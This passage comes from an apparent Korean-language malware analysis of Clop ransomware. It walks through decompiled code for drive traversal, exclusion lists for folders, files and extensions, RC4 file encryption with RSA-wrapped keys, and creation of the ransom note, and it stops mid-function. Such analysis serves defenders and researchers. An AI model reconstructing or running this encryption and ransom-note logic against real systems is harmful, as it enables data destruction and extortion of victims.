MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCecUuskA+/EYRGu9HUFkpICAgJ e3MeraGTOS8wa6lZfirCt0oRPARUcF1aNVupKfLeqc02BX+MAn3n15EJpoe1SRya iESj5Z+dJl2WBFaYoV/SBg5EQWganz32HN3dhH037t3vrDP7jsQa2lziD32hLd3y SEktD4Gmz87O+0blTQIDAQAB 
-----END PUBLIC KEY-----

문자열로 보아 RSA Public key로 추론된다. 그다음 pubkey를 인자로하여 아래의 함수들을 호출한다

  • CryptStringToBinaryA : 포맷된 문자열을 바이트 배열로 변환한다.
    BOOL CryptStringToBinaryA(
      LPCSTR pszString,
      DWORD  cchString,
      DWORD  dwFlags, // 0  -> Base64, with certificate beginning and ending headers
      BYTE   *pbBinary, // 반환한 바이트 배열을 담는 포인터
      DWORD  *pcbBinary,
      DWORD  *pdwSkip,
      DWORD  *pdwFlags
    );

    즉, pbBinary 포인터에 pubkey 문자열이 바이트 배열로 변환되어 저장된다

  • CryptDecodeObjectEx : 변환한 pubkey 배열을 구조체 변수로 디코딩
    BOOL CryptDecodeObjectEx(
      DWORD              dwCertEncodingType,// 1 -> 인코딩 타입
      LPCSTR             lpszStructType, // 8
      const BYTE         *pbEncoded, // pbBinary -> 디코딩할 포인터 
      DWORD              cbEncoded,
      DWORD              dwFlags, // 0x8000 -> CRYPT_DECODE_ALLOC_FLAG
      PCRYPT_DECODE_PARA pDecodePara,
      void               *pvStructInfo,// pvStructInfo -> 디코딩 후 저장할 구조체
      DWORD              *pcbStructInfo
    );
  • CryptAcquireContextW : 특정 CSP 안에서 현재 사용자의 키 컨테이너 핸들값을 가져옴
    CSP : 암호화 서비스 제공자
    BOOL CryptAcquireContextA(
      HCRYPTPROV *phProv, // csp 핸들에 대한 포인터
      LPCSTR     szContainer,
      LPCSTR     szProvider,
      DWORD      dwProvType,
      DWORD      dwFlags
    );
  • CryptImportPublicKeyInfo : pubkey에 대한 핸들값 획득
    BOOL CryptImportPublicKeyInfo(
      HCRYPTPROV            hCryptProv,
      DWORD                 dwCertEncodingType,
      PCERT_PUBLIC_KEY_INFO pInfo,
      HCRYPTKEY             *phKey
    );
    • hCryptProv : 공개 키를 가져올 때 사용할 암호화 서비스 공급자 (CSP) 의 핸들값
    • pInfo : 공급자로 가져올 공개 키가 들어 있는 CERT_PUBLIC_KEY_INFO 구조의 주소. 이는 디코딩된 pubkey이다
    • phKey : 가져온 공개 키의 핸들을 받는 HCRYPTKEY 변수 의 주소

그다음 이제 루프를 돌면서 sub_401BD0() 함수를 호출한다. 인자에 주목하자

주요함수 3) sub_401BD0()


void *__cdecl sub_401BD0(LPCWSTR path, char *file, int pubkey, int a4, int a5, int a6, int a7, int a8, int a9)
{
  SetErrorMode(1u);
  memset(String1, 0, 0x410u);
  memset(v31, 0, 0x410u);
  memset(v33, 0, 0x410u);
  lstrcpyW(String1, path);
  lstrcatW(String1, L"\\");
  lstrcpyW(v33, String1);                       
  lstrcatW(String1, (LPCWSTR)file);             
  strcmp_ = lstrcmpW;
  hFindFile = FindFirstFileW(String1, &FindFileData);
  if ( !hFindFile
    || sub_401000(path)                   // 디렉토리 해싱 비교
    || sub_402B80((int)v33, (char *)L"\\Desktop")
    || sub_402B80((int)v33, (char *)L"\\DESKTOP") )
  {
    v14 = a5;
    lstrcpyW(String1, drive_name);
    goto LABEL_42;
  }

...생략

}

String1에는 인자로 넘어온 드라이브 명과 그 드라이브 하위에 들어있는 모든 파일 및 폴더의 경로가 담긴다

String1 ⇒ ex) C:\*.*
  • FindFirstFileW : String1에 담긴 path의 첫번째 파일 및 폴더를 찾고 핸들 반환
  • sub_401000(drive_name) : 인자로 넘어온 drive_name 즉 디렉토리 명과 일치하는 해시값 검색. 존재한다면 암호화 하지 않음
    int __cdecl sub_401000(LPCWSTR pszPath)
    {
      const WCHAR *v1; // eax
      WCHAR *v2; // edx
      unsigned int v3; // ecx
      WCHAR v4; // ax
      WCHAR String1[1040]; // [esp+0h] [ebp-824h] BYREF
    
      v1 = PathFindFileNameW(pszPath);
      lstrcpyW(String1, v1);
      CharUpperW(String1);
      v2 = String1;
      v3 = 0;
      if ( String1[0] )                             
      {
        v4 = String1[0];
        do
        {
          ++v2;
          v3 = v4 ^ __ROL4__(v3, 7);
          v4 = *v2;
        }
        while ( *v2 );
        if ( v3 <= 0x6FB678AE )
        {
          if ( v3 != 0x6FB678AE )
          {
            if ( v3 > 0x3830E441 )
            {
              if ( v3 > 0x621EC8D1 )
              {
                if ( v3 != 0x68347478 && v3 != 0x693126B4 )
                  return v3 == 0x6932F547;
              }
              else if ( v3 != 0x621EC8D1 )
    .....

    디렉토리 명을 특정 연산을 통해 해시값을 추출하고, 미리 세팅된 해시 값들과 비교. 일치하면 True 반환

  • sub_402B80 : 두번째 인자로 넘어온 파일 및 폴더 명과 일치하는 해시값 검색. 존재하면 암호화 하지 않음. 즉 \Desktop 폴더는 암호화 하지 않음

즉 특정 디렉토리와 Desktop 디렉토리를 해싱 비교하여, 하나라도 참인 결과가 나오면 드라이브 명을 String1에 다시 복사한뒤 LABEL_42로 이동한다.

...

LABEL_42:
  lstrcatW(String1, L"\\*.*");
  result = FindFirstFileW(String1, &FindFileData);
  v25 = result;
  if ( result )
  {
    result = (void *)sub_401000(path);
    if ( !result )
    {
      result = sub_402B80((int)v33, (char *)L"\\Desktop");
      if ( !result )
      {
        result = sub_402B80((int)v33, (char *)L"\\DESKTOP");
        if ( !result )
        {
          if ((FindFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) != 0//디렉토리면
            && strcmp_(FindFileData.cFileName, L"..")
            && strcmp_(FindFileData.cFileName, L".") )
          {
            lstrcpyW(file_path, path);
            lstrcatW(file_path, L"\\");
            lstrcatW(file_path, FindFileData.cFileName);
            sub_401BD0(file_path, file, pubkey, a4, v14, a6, a7, a8, a9);
					  // ex) file_path => C:\$Recycle.Bin
          }
          while ( FindNextFileW(v25, &FindFileData) )
          {
            if ( (FindFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) != 0
              && strcmp_(FindFileData.cFileName, L"..") )
            {
              if ( strcmp_(FindFileData.cFileName, L".") )
              {
                lstrcpyW(file_path, path);
                lstrcatW(file_path, L"\\");
                lstrcatW(file_path, FindFileData.cFileName);
                sub_401BD0(file_path, file, pubkey, a4, v14, a6, a7, a8, a9);
              }
            }
          }
          result = (void *)FindClose(v25);
        }
      }
    }
  }
  return result;

LABEL_42 에서 다시 디렉토리 명으로 해싱 비교를 하고 Desktop 폴더인지 체크를 한다. 그다음 현재 FindFirstFileW 함수로 얻은 핸들값을 통해 디렉토리 첫 파일이 파일인지 폴더인지 비교를 하고, 폴더면 조건문 안으로 들어온다

ex) file_path ⇒ C:\$Recycle.Bin

선택된 폴더가 '. or .. ' 이 아니면 file_path를 다시 첫번째 인자로 하여 재귀를 한다.

정리를 하면 루트 path 부터 하위 폴더를 탐색하여 특정 폴더들은 암호화 루틴에서 제외한다. 흐름은 다음과 같다

  1. 드라이브 명 예를 들어 C: 를 첫 인자로 하여 sub_401BD0 함수가 처음 호출된다
  1. 컴퓨터가 내부적으로 동작하는데 필요한 폴더 path를 해시비교하여 암호화 루틴에서 제외한다
    • sub_402B80 : 현재의 파일 핸들값이 두번째 인자로 들어온 문자열과 동일하면 해당 파일 및 폴더도 암호화 루틴에서 제외한다
  1. 폴더면 재귀를 돌면서 계속 1-2를 반복한다

다시 위로 올라가서 초기 조건문을 만족하지 않는 루틴을 확인해보자

...
{
    v14 = a5;
    lstrcpyW(String1, path);
    goto LABEL_42;
  }
 if ( (FindFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) == 0// 디렉토리가 아니면
    && lstrcmpW(FindFileData.cFileName, L"..")
    && lstrcmpW(FindFileData.cFileName, L".")
    && !sub_402B80((int)FindFileData.cFileName, (char *)String)// readme.txt
                                                // 
    && !sub_4012D0(FindFileData.cFileName)      // 아깐 디렉토리 여긴 파일해싱비교
    && !sub_403280(FindFileData.cFileName) )    // 확장자 체크
  {
		...
	}
  v14 = a5;
  v18 = path;
  v27 = a5;
LABEL_22:
  while ( FindNextFileW(hFindFile, &FindFileData) ) // 다음 파일 검사
  {
    if ( (FindFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) == 0
      && strcmp_(FindFileData.cFileName, L"..")
      && strcmp_(FindFileData.cFileName, L".")
      && !sub_402B80((int)FindFileData.cFileName, (char *)String)
      && !sub_4012D0(FindFileData.cFileName)
      && !sub_403280(FindFileData.cFileName) )
    {
		....

만약 초기에 Desktop 디렉토리도 아니고, 특정 해싱된 값과 일치하는 파일 및 폴더가 아니면 위 코드 루틴으로 오게 된다. 조건문에 만족하려면 아래의 조건을 만족해야한다

ex) file path ⇒ C:\bootmgr (파일임)
  • 현재 file path가 디렉토리가 아니라 파일이고 파일명이 ' . or .. ' 아닐때
  • sub_402B80() : 랜섬노트 파일명과 동일하지 않아야함
  • sub_4012D0 : 현재 파일 명과 동일한 해시값이 없어야함
  • sub_403280 : 확장자 체크. 특정 확장자는 역시 암호화 루틴에서 제외
    int __cdecl sub_403280(LPCWSTR lpString2)
    {
     ...
    
      *(_DWORD *)v13 = 'T\0.';
      v14 = 'F\0T';
      v15 = '\0';
      v17 = 0;
      v16 = '\0';
      *(_DWORD *)v73 = 'C\0.';
      v74 = 'L\0L';
      v75 = 'P';
      v76 = '\0';
      v78 = 0;
      v77 = '\0';
      *(_DWORD *)v68 = 'O\0.';
      v69 = 'X\0C';
      v70 = '\0';
      v72 = 0;
      v71 = '\0';
    	...
      *(_DWORD *)v63 = 'D\0.';
      v64 = 'L\0L';
      v65 = '\0';
      v67 = 0;
      v66 = '\0';
      *(_DWORD *)v58 = 'E\0.';
      v59 = 'E\0X';
      v60 = '\0';
      v62 = 0;
      v61 = '\0';
      ...
      lstrcpyW(String1, lpString2);
      CharUpperW(String1);
      if ( sub_402B80((int)String1, (char *)String)
        || sub_402B80((int)String1, (char *)v68)
        || sub_402B80((int)String1, (char *)v63)
        || sub_402B80((int)String1, (char *)v58)
        || sub_402B80((int)String1, (char *)v53)
        || sub_402B80((int)String1, (char *)v48)
        || sub_402B80((int)String1, (char *)v43)
        || sub_402B80((int)String1, (char *)v38)
        || sub_402B80((int)String1, (char *)v33)
        || sub_402B80((int)String1, (char *)v28)
        || sub_402B80((int)String1, (char *)v23)
        || sub_402B80((int)String1, (char *)v18)
        || sub_402B80((int)String1, (char *)v13)
        || sub_402B80((int)String1, (char *)v8)
        || sub_402B80((int)String1, (char *)v3)
        || (result = (int)sub_402B80((int)String1, (char *)v73)) != 0 )
      {
        result = 1;
      }
      return result;
    }

만약 위 조건에 하나라도 만족하지 못하는 파일이라면 while문으로 빠지게 되고 다시 FindNextFileW 함수를 이용하여 계속 다른 파일을 검사한다. 이번엔 조건에 만족하는 루틴을 확인해보자

...

hFindFile = FindFirstFileW(String1, &FindFileData);

...

if ( (FindFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) == 0// 디렉토리가 아니면
    && lstrcmpW(FindFileData.cFileName, L"..")
    && lstrcmpW(FindFileData.cFileName, L".")
    && !sub_402B80((int)FindFileData.cFileName, (char *)String)// readme.txt
                                                // 
    && !sub_4012D0(FindFileData.cFileName)      // 아깐 디렉토리 여긴 파일해싱비교
    && !sub_403280(FindFileData.cFileName) )    // 확장자 체크
  {
    wsprintfW(FileName, L"%s%s", v33, FindFileData.cFileName);
    SetFileAttributesW(FileName, 0x80u);
    if ( sub_4039C0(FileName) ) // 파일이 존재하는지 체크
    {
      if ( a6 == 1 )
      {
        wsprintfW(String2, L"\\\\?\\%s", v33);
        size_high = FindFileData.nFileSizeHigh;
        size_low = FindFileData.nFileSizeLow;
        v12 = (thread_args *)GlobalAlloc(0x40u, 0x760u);
        lstrcpyA(v12->pubkey, (LPCSTR)pubkey);  // 얜 그냥 공개키 -> 문자열
        lstrcpyW(v12->filename, FindFileData.cFileName);
        lstrcpyW(v12->dir_path, String2);
        v12->pki = pvstructinfo;
        v12->hProv = phProv;
        v12->hKey = phKey;          // 이놈이 실제로 바이너리로 변환된 공개키정보 가지고 있음
        LODWORD(v12->file_size) = size_low;
        HIDWORD(v12->file_size) = size_high;
        GlobalLock(v12);
        v13 = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)encrypted_thread, v12, 0, 0);
	}

...

while ( FindNextFileW(hFindFile, &FindFileData) )
  {
    if ( (FindFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) == 0
      && strcmp_(FindFileData.cFileName, L"..")
      && strcmp_(FindFileData.cFileName, L".")
      && !sub_402B80((int)FindFileData.cFileName, (char *)String)
      && !sub_4012D0(FindFileData.cFileName)
      && !sub_403280(FindFileData.cFileName) )
    {
      wsprintfW(FileName, L"%s%s", v33, FindFileData.cFileName);
      SetFileAttributesW(FileName, FILE_ATTRIBUTE_NORMAL);
      if ( sub_4039C0(FileName) )               // 파일이 존재하면
      {
        v19 = FindFileData.nFileSizeHigh;
        v20 = FindFileData.nFileSizeLow;
				if ( a6 == 1 )
          wsprintfW(String2, L"\\\\?\\%s", v33);
        else
          wsprintfW(String2, L"\\\\?\\%s", v33);
        v21 = (thread_args *)GlobalAlloc(0x40u, 0x760u);
        lstrcpyA(v21->pubkey, (LPCSTR)pubkey);
        lstrcpyW(v21->filename, FindFileData.cFileName);
        lstrcpyW(v21->dir_path, String2);
        LODWORD(v21->file_size) = v20;
        HIDWORD(v21->file_size) = v19;
        v21->pki = pvstructinfo;
        v21->hProv = phProv;
        v21->hKey = phKey;
        GlobalLock(v21);
        v22 = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)encrypted_thread, v21, 0, 0);

....

첫번째 파일을 우선 검사한다. sub_4039C0 함수를 통해 현재 체킹하는 파일이 존재하면 인자로 넘어왔던 중요 값들은 구조체에 담아 쓰레드를 생성하고, 해당 쓰레드에서 실제 암호화가 수행된다.

그다음 루프를 돌면서 다음 파일도 검사하여 조건에 맞으면 쓰레드를 생성하여 암호화를 수행한다

여기까지의 과정을 정리하면 다음과 같다 모든 폴더(A-Z)를 탐색하면서 특정 폴더 및 파일과 특정 확장자들을 제외하곤 전부 암호화를 시도한다.

암호화 제외 대상

HashPathAttribute
0x28B5FD61TOR BROWSERDirectory
0x45575934BOOT.INIFile
0x55B2AC88SYSTEM VOLUME INFORMATIONDirectory
0x6932F547PERFLOGSDirectory
0x7933A751WINNTDirectory
0x7A53F792AUTOEXEC.BATFile
0x8916CC4APPDATADirectory
0x89D322CEAHNLABDirectory
0x8A53E4D9CHROMEDirectory
0x917FE531BOOTSECT.BAKFile
0x9663BE08RECYCLE.BINFile
0xA932103MOZILLA 추정Directory
0xB7E0EDC0MICROSOFTDirectory
0xD6452416DESKTOP.INIFile
0xE2C4812ANTUSER.DAT.LOGFile
0xE892B59FWINDOWSDirectory
0xEA932256NTLDRDirectory
0xFA12254FSOPHOSDirectory
0xFA747F45RECOVERYDirectory
0xFA9269AEBOOTMGRFile
0xb890e4cfPACKAGESDirectory

암호화 제외 확장자

확장자설명
.CI0P 과거 암호화 파일 확장자
.OCX ActiveX 파일
.DLL 동적 라이브러리
.EXE 실행파일
.SYS 드라이버 파일
.LNK 바로가기 파일
.ICO 아이콘 파일
.INI 설정 파일
.MSI 설치 파일
.CHM 도움말 파일
.HLF
.LNG 언어팩 파일
.TTF 폰트 파일
.CMD 배치 파일
.BAT 배치 파일
.CLLP현재 랜섬웨어 암호화 파일

출처 : https://www.notion.so/S2W-LAB-Analysis-of-Clop-Ransomware-suspiciously-related-to-the-Recent-Incident-c26daec604da4db6b3c93e26e6c7aa26

주요함수 4) encrypted_thread


void __stdcall __noreturn encrypted_thread(thread_args *args)
{
	...
  
  memset(String1, 0, 0x410u);
  lstrcpyW(String1, args->dir_path);
  lstrcatW(String1, args->filename);
  wsprintfW(FileName, L"%s%s.Cllp", v1->dir_path, v1->filename);
  if ( sub_4039C0(FileName) )
    goto LABEL_34;
  v2 = args;
  if ( args->file_size <= 0x4268 )
    goto LABEL_34;
  v3 = CreateFileW(String1, 0xC0000000, 0, 0, 3u, 0, 0);
  v4 = (void (__stdcall *)(HANDLE))CloseHandle;
  v5 = v3;
  hFile = v3;
  if ( v3 != (HANDLE)-1 )
  {
    if ( args->file_size > 0x2089D0 )
    {
	    ... // 암호화 루틴
    }
    else
		{
			... // 암호화 루틴
    }
    v5 = hFile;
  }

...

LABEL_34:
  if ( v1 )
  {
    GlobalUnlock(v1);
    GlobalFree(v1);
  }
  ExitThread(0);

}

타겟이 되는 파일의 path와 파일명을 String1에 담고 타겟 파일명.Cllp 을 FileName에 저장한다.

  • sub_4039C0(FileName) : FileName 명으로 파일 생성
    char __cdecl sub_4039C0(LPCWSTR lpFileName)
    {
      HANDLE v1; // eax
    
      v1 = CreateFileW(lpFileName, 0xC0000000, 3u, 0, 3u, 0, 0);
      if ( v1 == (HANDLE)-1 )
        return 0;
      CloseHandle(v1);
      return 1;
    }
  • 타겟 파일 사이즈가 0x4268보다 같거나 작으면 암호화 하지 않는다
  • CreateFileW(String1, 0xC0000000, 0, 0, 3u, 0, 0) : 타겟이 되는 파일 open
  • 타겟이 되는 파일의 사이즈가 0x2089D0 크면 암호화
  • 타겟이 되는 파일의 사이즈가 0x4268보다 크고 0x2089D0 보다 같거나 작으면 암호화

파일의 사이즈에 따라서 암호화 루틴이 달라진다. 우선 0x2089D0 보다 큰 사이즈의 루틴을 확인해보자


1) File Size > 0x2089D0


...
if ( args->file_size > 0x2089D0 )
    {
      v16 = CreateFileMappingW(v3, 0, 4u, 0, 0x2089D0u, 0);
      NumberOfBytesRead = (DWORD)v16;
      if ( !v16 )
        goto LABEL_31;
      lpBuffer = MapViewOfFile(v16, 6u, 0, 0x10000u, 0x1F89D0u);
      if ( !lpBuffer )
        goto LABEL_31;
      v17 = VirtualAlloc(0, 0x75u, 0x3000u, 4u);
      v18 = v17;
      if ( v17 )
      {
        memset(v17, 0, 0x75u);
        for ( i = 0; i < 117; ++i )
          v18[i] = sbox[sub_402B40(0, 256)];
        if ( !*v18 && !v18[1] && !v18[2] && !v18[3] && !v18[5] )
        {
          qmemcpy(v18, &unk_41B000, 0x75u);
          v2 = v33;
        }
        nNumberOfBytesToRead = 0;
        v20 = CreateFileW(FileName, 0x40000000u, 0, 0, 4u, 0x80u, 0);
        if ( WriteFile(v20, "Cllp^_-", 7u, &nNumberOfBytesToRead, 0)
          && (nNumberOfBytesToWrite = 0,
              v21 = (BYTE *)VirtualAlloc(0, 0x87u, 0x3000u, 4u),
              v24 = v2->hKey,
              v28 = (DWORD)v21,
              sub_401420(v18, (int)&nNumberOfBytesToWrite, (int)v2, v2->pki, v2->hProv, v24, v21),
              WriteFile(v20, (LPCVOID)v28, nNumberOfBytesToWrite, &nNumberOfBytesToRead, 0))
          && v28 )
        {
          v22 = (void (__stdcall *)(LPVOID, SIZE_T, DWORD))VirtualFree;
          VirtualFree((LPVOID)v28, 0, 0x8000u);
        }
        else
        {
          v22 = (void (__stdcall *)(LPVOID, SIZE_T, DWORD))VirtualFree;
        }
        if ( v20 )
          CloseHandle(v20);
        sub_403200((int)v18, 117, (int)v34);    // rc4 초기화 - 키 스케줄
        sub_403180((char *)lpBuffer, 2066896u, v34);// 암호화

			....
      }
    }

...
  • CreateFileMappingW(v3, 0, 4u, 0, 0x2089D0u, 0)

    대용량 파일은 새로 파일을 생성해서 작업할 경 우 속도가 느려진다. 그런경우 MMF를 이용해서 메모리에 바로 매핑해서 값을 수정한다. 매핑하는 사이즈는 0x2089D0u 이다

  • MapViewOfFile(v16, 6u, 0, 0x10000u, 0x1F89D0u)

    타겟 파일의 0x10000 오프셋 부터 ~ 0x1F89D0 까지의 파일 핸들값을 얻는다.

  • sbox[ sub_402B40(0, 256) ] : 랜덤한 키 값 생성

    고정으로 박혀있는 256바이트의 sbox 배열에서 랜덤으로 0 ~ 256 사이의 값을 가져온다. 이는 후에 사용될 RC4 키 값 으로 이용된다

    • 실제 코드
      int __cdecl sub_402B40(int a1, int a2)
      {
        DWORD v2; // eax
      
        v2 = GetTickCount();
        if ( v2 != dword_41C49C )
        {
          dword_41C49C = v2;
          rand_init(v2);
        }
        return a1 + rand_gen() % (unsigned int)(a2 - a1 + 1);
      }
      unsigned int rand_gen()()
      {
        int v0; // eax
        int i; // edx
        int *v2; // esi
        unsigned int v3; // ecx
        unsigned int v4; // ecx
      
        v0 = dword_41C498;
        if ( dword_41C498 >= 624 )
        {
          for ( i = 0; i < 227; ++i )
            dword_41BAD8[i] = dword_41C10C[i] ^ dword_41B1E4[dword_41BADC[i] & 1] ^ ((dword_41BAD8[i] ^ (dword_41BAD8[i] ^ dword_41BADC[i]) & 0x7FFFFFFFu) >> 1);
          if ( i < 623 )
          {
            v2 = &dword_41BAD8[i];
            do
            {
              *v2 = ((*v2 ^ (v2[1] ^ *v2) & 0x7FFFFFFFu) >> 1) ^ *(v2 - 227) ^ dword_41B1E4[v2[1] & 1];
              ++v2;
            }
            while ( (int)v2 < (int)&dword_41C494 );
          }
          v0 = 0;
          dword_41C494 = dword_41C108 ^ dword_41B1E4[dword_41BAD8[0] & 1] ^ ((dword_41C494 ^ (dword_41C494 ^ dword_41BAD8[0]) & 0x7FFFFFFFu) >> 1);
        }
        v3 = dword_41BAD8[v0];
        dword_41C498 = v0 + 1;
        v4 = ((((v3 >> 11) ^ v3) & 0xFF3A58AD) << 7) ^ (v3 >> 11) ^ v3;
        return ((v4 & 0xFFFFDF8C) << 15) ^ v4 ^ ((((v4 & 0xFFFFDF8C) << 15) ^ v4) >> 18);
      }
      int *__cdecl init(int a1)
      {
        int v1; // esi
        int *result; // eax
        unsigned int v3; // ecx
      
        dword_41BAD8 = a1;
        v1 = 1;
        result = &dword_41BAD8;
        do
        {
          v3 = v1 + 0x6C078965 * (*result ^ ((unsigned int)*result >> 30));
          ++v1;
          result[1] = v3;
          ++result;
        }
        while ( (int)result < (int)&dword_41C494 );
        dword_41C498 = v1;
        return result;
      }
  • qmemcpy(v18, &unk_41B000, 0x75u) : 고정 키 사용

    가져온 키값의 0,1,2,3,5 인덱스가 널이면 고정된 키값을 사용한다. 이는 랜섬웨어 제작자가 디버깅 같은 작업을 위한 루틴이다

  • CreateFileW , WriteFile(v20, "Cllp^_-", 7u, &nNumberOfBytesToRead, 0)

    Filename(타겟파일명.Cllp)을 생성하고, 7바이트만큼 ' Cllp^_- ' 를 쓴다

  • sub_401420(v18, (int)&nNumberOfBytesToWrite, (int)v2, v2->pki, v2->hProv, v24, v21) 생성한 rc4 키를 RSA 알고리즘으로 암호화 한다. 들어가는 인자들은 전에 RSA 암호화를 위해 구한 인자들이다
    int __cdecl sub_401420(void *Src, int a2, int a3, int a4, int a5, HCRYPTKEY hKey, BYTE *pbData)
    {
      int result; // eax
      DWORD Size; // [esp+0h] [ebp-8h] BYREF
      DWORD pdwDataLen; // [esp+4h] [ebp-4h] BYREF
    
      SetErrorMode(1u);
      Size = 117;
      pdwDataLen = 117;
      if ( CryptEncrypt(hKey, 0, 1, 0, 0, &pdwDataLen, 0x75u)
        && (memset(pbData, 0, pdwDataLen), memmove(pbData, Src, Size),
                                           CryptEncrypt(hKey, 0, 1, 0, pbData, &Size, pdwDataLen)) )
      {
        *(_DWORD *)a2 = pdwDataLen;
        result = 0;
      }
      else
      {
        GetLastError();
        result = 0;
      }
      return result;
    }
  • WriteFile : 암호화된 rc4 키를 생성한 타겟파일명.Cllp 에다가 넣는다
  • sub_403200 : rc4 초기화 - 키 스케줄링
    • 실제 코드
      int __cdecl sub_403200(int a1, __int16 a2, int a3)
      {
      ...
        v3 = a3;
        v4 = 0;
        v5 = 0;
        v6 = (_BYTE *)a3;
        v7 = 0;
        *(_WORD *)(a3 + 256) = 0;
        do
          *v6++ = v7++;
        while ( (unsigned __int16)v7 < 256 );
        v8 = (char *)a3;
        v11 = 256;
        do
        {
          v9 = *v8++;
          v5 += v9 + *(_BYTE *)(v4 + a1);
          *(v8 - 1) = *(_BYTE *)(v5 + v3);
          LOBYTE(result) = v4 + 1;
          *(_BYTE *)(v5 + v3) = v9;
          v4 = 0;
          result = (unsigned __int8)result;
          if ( (unsigned __int8)result != a2 )
            v4 = result;
          --v11;
        }
        while ( v11 );
        return result;
      }
  • sub_403180 : 실제 파일 암호화 진행
    char *__cdecl sub_403180(char *a1, unsigned int a2, char *a3)
    {
      char *result; // eax
      unsigned int v4; // edi
      unsigned __int8 v5; // bh
      char v6; // dl
      char v7; // bl
      int v8; // edx
      char v9; // [esp+1Bh] [ebp+13h]
    
      result = a3;
      v4 = 0;
      v5 = a3[256];
      v6 = a3[257];
      if ( a2 )
      {
        do
        {
          v7 = result[++v5];
          v9 = v7 + v6;
          v8 = (unsigned __int8)(v7 + v6);
          result[v5] = result[v8];
          result[v8] = v7;
          a1[v4++] ^= result[(unsigned __int8)(result[v5] + v7)];
          v6 = v9;
        }
        while ( v4 < a2 );
        result[256] = v5;
        result[257] = v9;
      }
      else
      {
        a3[256] = v5;
        a3[257] = v6;
      }
      return result;
    }


2) 0x4268 < File Size ≤ 0x2089D0


...
else
    {
      v6 = args->file_size;
      NumberOfBytesRead = 0;
      v28 = 0;
      SetFilePointer(v3, 0x4000, 0, 0);
      nNumberOfBytesToRead = v6 - 0x4000;
      v7 = GlobalAlloc(0x40u, v6 - 0x4000);
      v29 = v7;
      if ( v7 && ReadFile(v5, v7, nNumberOfBytesToRead, &NumberOfBytesRead, 0) )
      {
        v8 = VirtualAlloc(0, 0x75u, 0x3000u, 4u);
        v9 = v8;
        if ( v8 )
        {
          memset(v8, 0, 0x75u);
          for ( j = 0; j < 117; ++j )
            v9[j] = sbox[sub_402B40(0, 256)];
          if ( !*v9 && !v9[1] && !v9[2] && !v9[3] && !v9[5] )
          {
            qmemcpy(v9, &fixed_key, 0x75u);
            v2 = v33;
          }
          NumberOfBytesWritten = 0;
          v11 = CreateFileW(FileName, 0x40000000u, 0, 0, 4u, 0x80u, 0);
          if ( WriteFile(v11, "Cllp^_-", 7u, &NumberOfBytesWritten, 0) )
          {
            nNumberOfBytesToWrite = 0;
            v12 = VirtualAlloc(0, 0x87u, 0x3000u, 4u);
            v23 = v2->hKey;
            lpBuffer = v12;
            encrypt_key(v9, (int)&nNumberOfBytesToWrite, (int)v2, v2->pki, v2->hProv, v23, (BYTE *)v12);
            v13 = (void *)lpBuffer;
            if ( WriteFile(v11, lpBuffer, nNumberOfBytesToWrite, &NumberOfBytesWritten, 0) )
            {
              if ( v13 )
                VirtualFree(v13, 0, 0x8000u);
            }
          }
          if ( v11 )
            CloseHandle(v11);
          v7 = (void *)v29;
        }
        rc4_init((int)v9, 117, (int)v34);
        v14 = nNumberOfBytesToRead;
        encrypt_rc4((char *)v7, nNumberOfBytesToRead, v34);
        v15 = hFile;
        SetFilePointer(hFile, 0x4000, 0, 0);
        WriteFile(v15, v29, v14, &v28, 0);
        v7 = (void *)v29;
      }

파일 사이즈가 비교적 작은 경우도 비슷하다. 차이점은 메모리 맵 파일을 이용하지 않고 일반적으로 파일을 생성하여 그곳에 암호화된 파일을 저장한다. 파일 오프셋은 0x4000 부터 EOF 까지이다.

결론적으로 파일에 대한 암호화 과정은 다음과 같이 정리 가능하다

출처 : https://www.notion.so/S2W-LAB-Analysis-of-Clop-Ransomware-suspiciously-related-to-the-Recent-Incident-c26daec604da4db6b3c93e26e6c7aa26

마지막으로 암호화한 파일의 path에 랜섬노트를 생성한다

...
HIDWORD(v17->file_size) = v15;
        GlobalLock(v17);
        v13 = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)encrypted_thread, v17, 0, 0);
        if ( a5 != a4 )
          goto LABEL_14;
      }
      v14 = 1;
      v27 = 1;
      WaitForSingleObject(v13, 0xFFFFFFFF);
      CloseHandle(v13);
      strcmp_ = lstrcmpW;
    }
    else
    {
      v14 = a5;
      v27 = a5;
    }
LABEL_19:
    v18 = path;
    if ( 2 * wcslen(path) - 6 <= 0xC1 )
      sub_403890((int)path); // 랜섬노트 생성
    goto LABEL_22;
  • sub_403890() : 랜섬노트 생성
    HGLOBAL __cdecl sub_403890(int a1)
    {
     ...
    
      SetErrorMode(1u);
      wsprintfW(FileName, L"%s\\README_README.txt", a1);
      v1 = CreateFileW(FileName, 0xC0000000, 3u, 0, 3u, 0, 0);
      if ( v1 != (HANDLE)-1 )
        return (HGLOBAL)CloseHandle(v1);
      v3 = GetModuleHandleW(0);
      v4 = FindResourceW(v3, (LPCWSTR)0x99AB, L"ID_HTML");
      v5 = LoadResource(v3, v4);
      v6 = LockResource(v5);
      nNumberOfBytesToWrite = SizeofResource(v3, v4);
      v7 = GlobalAlloc(0x40u, nNumberOfBytesToWrite);
      memmove_0(v7, v6, nNumberOfBytesToWrite);
      v8 = nNumberOfBytesToWrite;
      for ( i = 0; i < v8; ++i )
        *((_BYTE *)v7 + i) ^= off_41B1F4[i + -33 * (i / 0x21)];
      NumberOfBytesWritten = 0;
      v10 = CreateFileW(FileName, 0x40000000u, 2u, 0, 2u, 0x80u, 0);
      if ( v10 != (HANDLE)-1 )
      {
        WriteFile(v10, v7, v8, &NumberOfBytesWritten, 0);
        CloseHandle(v10);
      }
      return GlobalFree(v7);
    }

최종적으로 sub_411CB0() 함수 내부에서 A-Z 드라이브를 순회하며 모든 파일들의 암호화를 쓰레드를 이용하여 시도한다. A-Z 드라이브에 대한 암호화 작업이 끝나면 아래쪽 코드에서 두개의 쓰레드를 다시 생성하여 네트워크 공유 드라이브와 C 드라이브 폴더에 대한 암호화를 다시 시도한다

DWORD __stdcall sub_411CB0(LPVOID lpThreadParameter)
{
  ....
    for ( i = 0; i < 26; ++i )
    {
